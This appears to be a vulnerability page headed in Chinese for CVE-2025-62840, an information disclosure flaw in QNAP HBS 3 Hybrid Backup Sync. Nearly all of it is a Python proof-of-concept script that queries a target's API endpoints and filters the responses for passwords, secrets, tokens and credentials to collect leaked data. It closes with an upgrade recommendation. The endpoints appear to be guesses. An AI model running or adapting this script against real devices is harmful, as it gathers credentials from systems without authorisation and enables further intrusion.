QNAP HBS 3 Hybrid Backup Sync 错误消息敏感信息泄露漏洞 (CVE-2025-62840)

# CVE-2025-62840 PoC - QNAP HBS 3 Hybrid Backup Sync Information Disclosure # This PoC demonstrates how to trigger error conditions that may leak sensitive information import requests import json TARGET_HOST = "http://192.168.1.100" HBS_PORT = 8080 BASE_URL = f"{TARGET_HOST}:{HBS_PORT}" def check_version(): """Check HBS 3 version""" try: response = requests.get(f"{BASE_URL}/api/v1/system/info", timeout=10) return response.json() except: return None def trigger_error_leak(): """Attempt to trigger error conditions to leak sensitive information""" # Try various endpoints that might expose error messages endpoints = [ "/api/v1/backup/jobs/invalid_id_12345", "/api/v1/config/db_connection", "/api/v1/logs/recent", "/api/v1/sync/status" ] leaked_data = [] for endpoint in endpoints: try: response = requests.get(f"{BASE_URL}{endpoint}", timeout=10) # Check if response contains sensitive patterns if any(pattern in response.text.lower() for pattern in ['password', 'secret', 'key', 'token', 'credential', 'connection_string']): leaked_data.append({ 'endpoint': endpoint, 'status_code': response.status_code, 'response_preview': response.text[:500] }) except Exception as e: print(f"Error accessing {endpoint}: {e}") return leaked_data def main(): print("CVE-2025-62840 PoC - QNAP HBS 3 Information Disclosure") print("=" * 60) # Check version version_info = check_version() if version_info: print(f"HBS Version: {version_info}") # Trigger error leak print("\nAttempting to trigger information disclosure...") results = trigger_error_leak() if results: print(f"\n[+] Found {len(results)} potential information leaks:") for result in results: print(json.dumps(result, indent=2)) else: print("\n[-] No obvious information leaks detected") print("Note: This vulnerability requires local network access") print("Recommendation: Upgrade to HBS 3 Hybrid Backup Sync 26.2.0.938 or later") if __name__ == "__main__": main()